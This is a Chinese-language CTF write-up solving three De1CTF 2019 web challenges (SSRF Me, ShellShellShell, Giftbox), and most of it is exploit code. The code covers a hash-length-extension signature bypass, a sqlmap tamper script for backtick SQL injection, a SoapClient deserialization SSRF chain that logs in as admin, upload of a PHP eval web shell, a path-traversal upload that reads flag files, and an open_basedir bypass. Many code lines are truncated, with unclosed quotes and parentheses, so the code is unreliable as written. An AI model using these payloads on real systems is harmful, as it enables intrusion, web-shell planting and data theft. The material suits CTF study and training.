[De1CTF 2019]

0x01 SSRF Me

靶机首页就是源码

Hint:提示flag is in ./flag.txt

所以我们得想办法读取这个文件,首先看有哪几个路由,分别有什么用

#generate Sign For Action Scan. 为scan创建一个标志?
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

#核心功能 传参执行Task.Exec()并输出
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

#首页展示源码...
@app.route('/
def index():
    return open("code.txt","r").read()

看一下调用的类

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr 利用md5对ip进行了限制“只能”访问外网
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:#如果是action是scan,就往路径下的/result.txt写东西
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:#如果是action是read,就往路径下的/result.txt读
                f = open("./%s/result.txt" % self.sandbox, 'r
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):#检查签名
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

可以看到有一些校验和waf拦截

还是先继续看核心功能代码

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

显然我们要在这个param里面注类似”file:flag.txt“来拿到flag

但是被waf给拦了

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

gopher也不能用

但是这里只过滤了file没有过滤local_file,或者也可以直接flag.txt

参考:https://bugs.python.org/issue35907

这里是使用的 urllib.urlopen(param) 去包含的文件,所以可以直接加上文件路径 flag.txt./flag.txt 去访问,也可以使用类似的 file:///app/flag.txt 去访问,但是 file 关键字在黑名单里,可以使用 local_file 代替

https://xz.aliyun.com/t/5927#toc-3

所以我们可以用local_file:///proc/self/cwd/flag.txt来访问

然后在action里scan+read就可以读文件了

执行还需要签名满足

getSign(self.action, self.param) == self.sign

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

因为secret_key是未知的,我们必须先调用geneSign去拿到签名,但该函数限定了action为scan怎么办?

注意到这个是字符串直接拼一起的,

所以我们一开始调用

local_file:///proc/self/cwd/flag.txtread

就可以拿到对应的签名了

先写一个Exp框架

#coding=utf-8
import requests

conn = requests.session()

url = "http://f3d586ad-6270-49ac-843c-3ca9b419ab4b.node3.buuoj.cn"

def geneSign(param):
    param = {
        "param": param,
    }
    resp = conn.get(url+"./geneSign",param=param).text
    print resp
    return resp
def challenge(action,param,sign):
    param = {
        "param":param,
    }
    cookie = {
        "action": action,
        "sign": sign,
    }
    resp = conn.get(url+"/De1ta",param=param,cookie=cookie)
    print resp
    return resp

第二个绕开sign限制的方法还是挺有意思的,利用哈希扩展攻击

利用条件:

  1. 我们要知道salt(只能是前缀)的长度。
  2. 要知道任意一个由salt加密后的md5值,并且知道没有加盐的明文。
  3. 用户可以提交md5值。

这里的salt就是secret_key+filename

工具Hashpump

[email protected]:~/HashPump#  hashpump
Input Signature: f173c63af1a6be383330bb97d7714446
Input Data: scan
Input Key Length: 24
Input Data to Add: read
3ff498706cc3cfef41b86e94343ebe97
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read

注意要将\x80等字符转换为URL编码,否则会报400错误

Exp2:

#coding=utf-8
import requests
conn = requests.Session()

url = "http://f3d586ad-6270-49ac-843c-3ca9b419ab4b.node3.buuoj.cn"
def geneSign(param):
    data = {
        "param": param
    }
    resp = conn.get(url+"/geneSign",params=data).text
    print resp
    return resp

def challenge(action,param,sign):
    cookie={
        "action":action,
        "sign":sign
    }
    params={
        "param":param
    }
    resp = conn.get(url+"/De1ta",params=params,cookies=cookie).text
    return resp

filename = "flag.txt" #长度为8 +16位的key 24位
payload = "scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read"
sign = "3ff498706cc3cfef41b86e94343ebe97"
print challenge(payload,filename,sign)

参考资料

https://www.cnblogs.com/20175211lyz/p/11440316.html

0x02 ShellShellShell

拿到源码,据说原来是.swp文件的泄露,但是buuoj上貌似么有,就直接拿源码了

可以找到攻击点

//views/publish
if($C->is_admin==0) {
    ...
else{
echo "Hello ".$C->username."<br>";
echo "Orz...大佬果然进来了!<br>但jaivy说flag不在这,要flag,来内网拿...<br>";
    if(isset($_FILES['pic'])){
        $res = @$C->publish();
        if($res){
            echo "<script>alert('ok;self.location='index.php?action=publish'; </script>";
            exit;
        }
        else {
            echo "<script>alert('something error;self.location='index.php?action=publish'; </script>";
        }
    }

?>

$C是Customer类

<?php

require_once 'config.php';

class Customer{
    public $username, $userid, $is_admin, $allow_diff_ip;

    public function __construct()
    {
        $this->username = isset($_SESSION['username'])?$_SESSION['username']:'';
        $this->userid = isset($_SESSION['userid'])?$_SESSION['userid']:-1;
        $this->is_admin = isset($_SESSION['is_admin'])?$_SESSION['is_admin']:0;
        $this->get_allow_diff_ip();
    }

    public function check_login()
    {
        return isset($_SESSION['userid']);
    }

    public function check_username($username)
    {
        if(preg_match('/[^a-zA-Z0-9_]/is',$username) or strlen($username)<3 or strlen($username)>20)
            return false;
        else
            return true;
    }

    private function is_exists($username)
    {
        $db = new Db();
        @$ret = $db->select('username','ctf_users',"username='$username'");
        if($ret->fetch_row())
            return true;
        else
            return false;
    }

    public function get_allow_diff_ip()
    {
        if(!$this->check_login()) return 0;
        $db = new Db();
        @$ret = $db->select('allow_diff_ip','ctf_users','id='.$this->userid);
        if($ret) {

            $user = $ret->fetch_row();
            if($user)
            {
                $this->allow_diff_ip = (int)$user[0];
                return 1;
            }
            else
                return 0;

        }
    }

    function login()
    {
        if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
            if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
            {
                die("code erroar");
            }
            $username = $_POST['username'];
            $password = md5($_POST['password']);
            if(!$this->check_username($username))
                die('Invalid user name;
            $db = new Db();
            @$ret = $db->select(array('id','username','ip','is_admin','allow_diff_ip,'ctf_users',"username = '$username' and password = '$password' limit 1");

            if($ret)
            {

                $user = $ret->fetch_row();
                if($user) {
                    if ($user[4] == '0' && $user[2] !== get_ip())
                        die("You can only login at the usual address");
                    if ($user[3] == '1
                        $_SESSION['is_admin'] = 1;
                    else
                        $_SESSION['is_admin'] = 0;
                    $_SESSION['userid'] = $user[0];
                    $_SESSION['username'] = $user[1];
                    $this->username = $user[1];
                    $this->userid = $user[0];
                    return true;
                }
                else
                    return false;

            }
            else
            {
                return false;
            }

        }
        else
            return false;

    }

    function register()
    {
        if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
            if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
            {
                die("code error");
            }
            $username = $_POST['username'];
            $password = md5($_POST['password']);

            if(!$this->check_username($username))
                die('Invalid user name;
            if(!$this->is_exists($username)) {

                $db = new Db();

                @$ret = $db->insert(array('username','password','ip','is_admin','allow_diff_ip,'ctf_users',array($username,$password,get_ip(),'0','1); //No one could be admin except me
                if($ret)
                    return true;
                else
                    return false;

            }

            else {
                die("The username is not unique");
            }
        }
        else
        {
            return false;
        }
    }

    function publish()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            if(isset($_POST['signature']) && isset($_POST['mood'])) {

                $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
                $db = new Db();
                @$ret = $db->insert(array('userid','username','signature','mood,'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
                if($ret)
                    return true;
                else
                    return false;
            }
        }
        else
        {
                if(isset($_FILES['pic'])) 
                {
                    $dir='/app/upload/';
                    move_uploaded_file($_FILES['pic']['tmp_name'],$dir.$_FILES['pic']['name']);
                    echo "<script>alert('".$_FILES['pic']['name']."upload success;</script>";
                    return true;
                }
                else
                    return false;


        }

    }

    function showmess()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            //id,sig,mood,ip,country,subtime
            $db = new Db();
            @$ret = $db->select(array('username','signature','mood','id,'ctf_user_signature',"userid = $this->userid order by id desc");
            if($ret) {
                $data = array();
                while ($row = $ret->fetch_row()) {
                    $sig = $row[1];
                    $mood = unserialize($row[2]);
                    $country = $mood->getcountry();
                    $ip = $mood->ip;
                    $subtime = $mood->getsubtime();
                    $allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime);
                    array_push($data, $allmess);
                }
                $data = json_encode(array('code'=>0,'data'=>$data));
                return $data;
            }
            else
                return false;

        }
        else
        {
            $filenames = scandir('adminpic/;
            array_splice($filenames, 0, 2);
            return json_encode(array('code'=>1,'data'=>$filenames));

        }
    }

    function allow_diff_ip_option()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            if(isset($_POST['adio'])){
                $db = new Db();
                @$ret = $db->update_single('ctf_users',"id = $this->userid",'allow_diff_ip',(int)$_POST['adio']);
                if($ret)
                    return true;
                else
                    return false;
            }
        }
        else
            echo 'admin can\'t change this option';
            return false;
    }

    function deletemess()
    {
        if(!$this->check_login()) return false;
        if(isset($_GET['delid'])) {
            $delid = (int)$_GET['delid'];
            $db = new Db;
            @$ret = $db->delete('ctf_user_signature', "userid = $this->userid and id = '$delid'");
            if($ret)
                return true;
            else
                return false;
        }
        else
            return false;
    }

}

要让is_admin=1

usernamepassword显然都没法注,只有看看ip

跟进看一下get_ip

function get_ip(){
    return $_SERVER['REMOTE_ADDR'];
}

...

这也没法注

那么要去看看数据库的底层操作

class Db
{
    private  $servername = "localhost";
    private  $username = "jaivy";
    private  $password = "***********";#you don't know!
    private  $dbname = "jaivyctf";
    private  $conn;

    function __construct()
    {
        $this->conn = new mysqli($this->servername, $this->username, $this->password, $this->dbname);
    }

    function __destruct()
    {
        $this->conn->close();
    }

    private function get_column($columns){

        if(is_array($columns))
            $column = ' `'.implode('`,`',$columns).'` ';
        else
            $column = ' `'.$columns.'` ';

        return $column;
    }

    public function select($columns,$table,$where) {

        $column = $this->get_column($columns);

        $sql = 'select '.$column.' from '.$table.' where '.$where.';';
        $result = $this->conn->query($sql);

        return $result;

    }

    public function insert($columns,$table,$values){

        $column = $this->get_column($columns);
        $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).';
        //preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
        $nid =
        $sql = 'insert into '.$table.'('.$column. values '.$value;
        $result = $this->conn->query($sql);

        return $result;
    }

    public function delete($table,$where){

        $sql =  'delete from '.$table.' where '.$where;
        $result = $this->conn->query($sql);

        return $result;
    }

    public function update_single($table,$where,$column,$value){

        $sql = 'update '.$table.' set `'.$column.'` = \''.$value.'\' where '.$where;
        $result = $this->conn->query($sql);

        return $result;
    }
}

关键在于insert函数

正常流程效果如下

$column

image-20200426193429396

$value replace前

image-20200426193605181

$value replace 后

image-20200426194305646

大致意思就是因为没过滤反引号:

preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values))
//[^`,] 这个正则的意思就是除开 ` 和 ,字符去匹配其他字符。 其实就是处理value是数组的情况
//这段代码的功能就是把`1` => '1'
//但是对于 1`or# => `1`or#` (没有可以切割的)
//然后进行替换的时候(他是根据``配对来匹配的)先匹配了前面的`1`然后后面的or#`就逃逸出单引号了,导致了注入

https://xz.aliyun.com/t/6050#toc-10

既然能单引号逃逸,然后就是想办法注入了

register处肯定没办法了,因为参数不可控

还有一处insert是在pulish里

 function publish()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            if(isset($_POST['signature']) && isset($_POST['mood'])) {

                $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
                $db = new Db();
                @$ret = $db->insert(array('userid','username','signature','mood,'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));//这里vaule的signature可控,那么就存在注入
                if($ret)
                    return true;
                else
                    return false;
            }
        }
        else
        {
                if(isset($_FILES['pic'])) 
                {
                    $dir='/app/upload/';
                    move_uploaded_file($_FILES['pic']['tmp_name'],$dir.$_FILES['pic']['name']);
                    echo "<script>alert('".$_FILES['pic']['name']."upload success;</script>";
                    return true;
                }
                else
                    return false;


        }

    }

poc

signature= 1`,0x41)#&mood=0

可以看到返回了ok

然后写给sqlmap的temper

用sqlmap跑盲注

# sqlmap/tamper/backquotes.py

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    return "1`,"+payload+")#"

然后拿到admin 的密码(md5)反解后得到jaivypassword

但是admin只能127.0.0.1登录,这里需要通过SOAP借助PHP反序列化来搞SSRF

可以看到之前publish里面

$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));

所以$mood是一个序列化对象,利用之前的逃逸,这部分事实上是完全可控的。

看下反序列化过程

    function showmess()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            //id,sig,mood,ip,country,subtime
            $db = new Db();
            @$ret = $db->select(array('username','signature','mood','id,'ctf_user_signature',"userid = $this->userid order by id desc");
            if($ret) {
                $data = array();
                while ($row = $ret->fetch_row()) {
                    $sig = $row[1];
                    $mood = unserialize($row[2]);//这里直接反序列化了,所以可以利用SOAP来SSRF
                    $country = $mood->getcountry();
                    $ip = $mood->ip;
                    $subtime = $mood->getsubtime();
                    $allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime);
                    array_push($data, $allmess);
                }
                $data = json_encode(array('code'=>0,'data'=>$data));
                return $data;
            }
            else
                return false;

        }
        else
        {
            $filenames = scandir('adminpic/;
            array_splice($filenames, 0, 2);
            return json_encode(array('code'=>1,'data'=>$filenames));

        }
    }

具体可以利用这个脚本(https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540 N1CTF easyphp的脚本改了改)

import re
import sys
import string
import random
import requests
import subprocess
from itertools import product

_target = 'http://98da48cd-28a8-4faa-b97a-bf6e8af3b749.node3.buuoj.cn/index.php/'
_action = _target + 'index.php?action='

def get_creds():
    username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    return username, password

def solve_code(html):
    code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1)
    solution = subprocess.check_output(['grep', '^'+code, 'captchas.txt']).split()[2]
    return solution

def register(username, password):
    resp = sess.get(_action+'register
    code = solve_code(resp.text)
    sess.post(_action+'register', data={'username':username,'password':password,'code':code})
    return True

def login(username, password):
    resp = sess.get(_action+'login
    code = solve_code(resp.text)
    sess.post(_action+'login', data={'username':username,'password':password,'code':code})
    return True

def publish(sig, mood):
    return sess.post(_action+'publish', data={'signature':sig,'mood':mood})#, proxies={'http':'127.0.0.1:8080'})

def get_prc_now():
    # date_default_timezone_set("PRC") is not important
    return subprocess.check_output(['php', '-r', 'date_default_timezone_set("PRC"); echo time();'])

def get_admin_session():
    sess = requests.Session()
    resp = sess.get(_action+'login
    code = solve_code(resp.text)
    return sess.cookies.get_dict()['PHPSESSID'], code

def brute_filename(prefix, ts, sessid):
    ds = [''.join(i) for i in product(string.digits, repeat=3)]
    ds += [''.join(i) for i in product(string.digits, repeat=2)]
    # find uploaded file in max 1100 requests
    for d in ds:
        f = prefix + ts + d + '.jpg'
        resp = requests.get(_target+'adminpic/'+f, cookies={'PHPSESSID':sessid})
        if resp.status_code == 200:
            return f
    return False

print '[+] creating user session to trigger ssrf'
sess = requests.Session()

username, password = get_creds()

print '[+] register({}, {})'.format(username, password)
register(username, password)

print '[+] login({}, {})'.format(username, password)
login(username, password)

print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID'] + ' '

print '[+] getting fresh session to be authenticated as admin'
phpsessid, code = get_admin_session()
print code

ssrf = 'http://127.0.0.1/\x0d\x0aContent-Length:0\x0d\x0a\x0d\x0a\x0d\x0aPOST /index.php?action=login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID={}\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: 46\x0d\x0a\x0d\x0ausername=admin&password=jaivypassword&code={}\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a'.format(phpsessid, code)
mood = 'O:10:\"SoapClient\":4:{{s:3:\"uri\";s:{}:\"{}\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:15:\"_stream_context\";i:0;s:13:\"_soap_version\";i:1;}}'.format(len(ssrf), ssrf)#这里是利用SOAP打内网的套路
mood = '0x'+''.join(map(lambda k: hex(ord(k))[2:].rjust(2, '0, mood))

payload = 'a`, {}); -- -'.format(mood)#这里利用了之前的单引号逃逸

print '[+] final sqli/ssrf payload: ' + payload

print '[+] injecting payload through sqli'
resp = publish(payload, '0

print '[+] triggering object deserialization -> ssrf'
sess.get(_action+'index#, proxies={'http':'127.0.0.1:8080'})

print '[+] admin session => ' + phpsessid

# switching to admin session
sess = requests.Session()
sess.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': phpsessid})

print '[+] uploading stager'
shell = {'pic': ('eki.php', "<?php eval($_POST['eki']);", 'image/jpeg}
resp = sess.post(_action+'publish', files=shell)#, proxies={'http':'127.0.0.1:8080'})
print(resp.text)
prc_now = get_prc_now()[:-1]  # get epoch immediately

if 'upload success' not in resp.text:
    print '[-] failed to upload shell, check admin session manually'
    sys.exit(0)

关于验证码的问题,这个脚本是利用源代码生成验证码的操作直接查表

function rand_s($length = 8)
{
    $chars = '[email protected]#$%^&*()-_ []{}<>~`+=,.;:/?|';
    $password = '';
    for ( $i = 0; $i < $length; $i++ )
    {
        $password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
    }
    return $password;
}

利用这个脚本来生成表

import hashlib
from itertools import product

c = '[email protected]#$%^&*()-_ []{}<>~`+=,.;:/?|'
captchas = [''.join(i) for i in product(c, repeat=3)]

print '[+] Genering {} captchas...'.format(len(captchas))
with open('captchas.txt', 'w as f:
    for k in captchas:
        f.write(hashlib.md5(k).hexdigest()+' --> '+k+'\n

拿到shell以后继续打内网

curl 173.188.198.10

拿到下一步

<?php
$sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_FILES['file']['name']){
    $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
    if (!is_array($filename)) {
        $filename = explode('.', $filename);//正常情况下 filename = {"1","php"}
    }
    $ext = end($filename);//end 函数取到的是给数组的最后一次赋值的那个值 那么是 "php"
    if($ext==$filename[count($filename) - 1]){ //这里无法通过
        die("try again!!!");
    }
    $new_name = (string)rand(100,999).".".$ext;
    move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
    $_ = $_POST['hello'];
    if(@substr(file($_)[0],0,6)==='@<?php{
        if(strpos($_,$new_name)===false) {
            include($_);
        } else {
            echo "you can do it!";
        }
    }
    unlink($new_name);//这里利用 ../ 路径穿越防止文件被删除
}
else{
    highlight_file(__FILE__);
}

filename 使用数组赋值可以绕过

然后后面一个利用../ 路径穿越

exp

<?php

$curl = curl_init();

curl_setopt_array($curl, array(
  CURLOPT_URL => "http://173.188.198.10",
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => "",
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 30,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => "POST",
  CURLOPT_POSTFIELDS => "------WebKitFormBoundary1234567890\r\nContent-Disposition: form-data; name=\"file\"; filename=\"glzjin2.php\"\r\nContent-Type: false\r\n\r\[email protected]<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary1234567890\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\neki.php\r\n------WebKitFormBoundary1234567890\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n222\r\n------WebKitFormBoundary1234567890\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary1234567890\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\n/../eki.php\r\n------WebKitFormBoundary1234567890\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary1234567890--",
  CURLOPT_HTTPHEADER => array(
    "cache-control: no-cache",
    "content-type: multipart/form-data; boundary=----WebKitFormBoundary1234567890"
  ),
));

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);

if ($err) {
  echo "cURL Error #:" . $err;
} else {
  echo $response;
}

参考资料

https://www.zhaoj.in/read-6170.html

https://www.cnblogs.com/linuxsec/articles/10002646.html

2018-n1ctf/web/easy-php-540:

https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540

https://xz.aliyun.com/t/6050#toc-11

2018上海市大学生信息安全竞赛web题解:

https://xi4or0uji.github.io/2018/11/06/2018%E4%B8%8A%E6%B5%B7%E5%B8%82%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9Bweb%E9%A2%98%E8%A7%A3/

0x03 Giftbox

login 命令 username 盲注

这里直接起个flask代理跑totp验证 参数在main.js里都可以找到

#coding=utf-8
from flask import Flask,request
import urllib
import pyotp
import requests

app = Flask(__name__)

totp = pyotp.TOTP('GAXG24JTMZXGKZBU',8 ,interval=5)
s = requests.session()

@app.route('/sql
def attack_sql():
    attack_url ="http://7a8eeaa2-2dec-40d8-b986-d4ed4e9525ff.node3.buuoj.cn/shell.php" 
    username = urllib.unquote(request.args.get('username).replace(' ','/**/
    params = {
        'a' : 'login {0} admin'.format(username),
        'totp' : totp.now()
    }
    r= s.get(attack_url,params=params)
    return r.content

if __name__ == '__main__':
    app.run(debug=True, host='127.0.0.1

然后因为没有过滤直接sqlmap跑就行了

sqlmap -u "http://127.0.0.1:5000/sql?username=admin" -p username -D giftbox -T users --dump --batch

拿到密码和hint

+------+----------+--------------------------------------------------+
| id   | username | password                                         |
+------+----------+--------------------------------------------------+
| 1    | admin    | hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333} |
+------+----------+--------------------------------------------------+

登陆后输入隐藏command后

we add an evil monster named 'eval' when launching missiles.

提示launch时使用了eval

targeting 有对注入命令长度有限制,利用拼接绕过

再绕过open_basedir的限制

chdir('js');ini_set('open_basedir','..');chdir('..');chdir('/');ini_set('open_basedir','/');printf(file_get_contents('flag'));
=>
targeting a chr
targeting b {$a(46)}
targeting c {$b}{$b}
targeting d {$a(47)}
targeting e js
targeting f open_basedir
targeting g chdir
targeting h ini_set
targeting i file_get_
targeting j {$i}contents
targeting k {$g($e)}
targeting l {$h($f,$c)}
targeting m {$g($c)}
targeting n {$h($f,$d)}
targeting o {$d}flag
targeting p {$j($o)}
targeting q printf
targeting r {$q($p)}
© Eki's CTF-notes 2019-2020 CC-by-nc-sa 4.0。 all right reserved,powered by Gitbook本网站最后修订于: 2020-09-05 12:07:36

results matching ""

    No results matching ""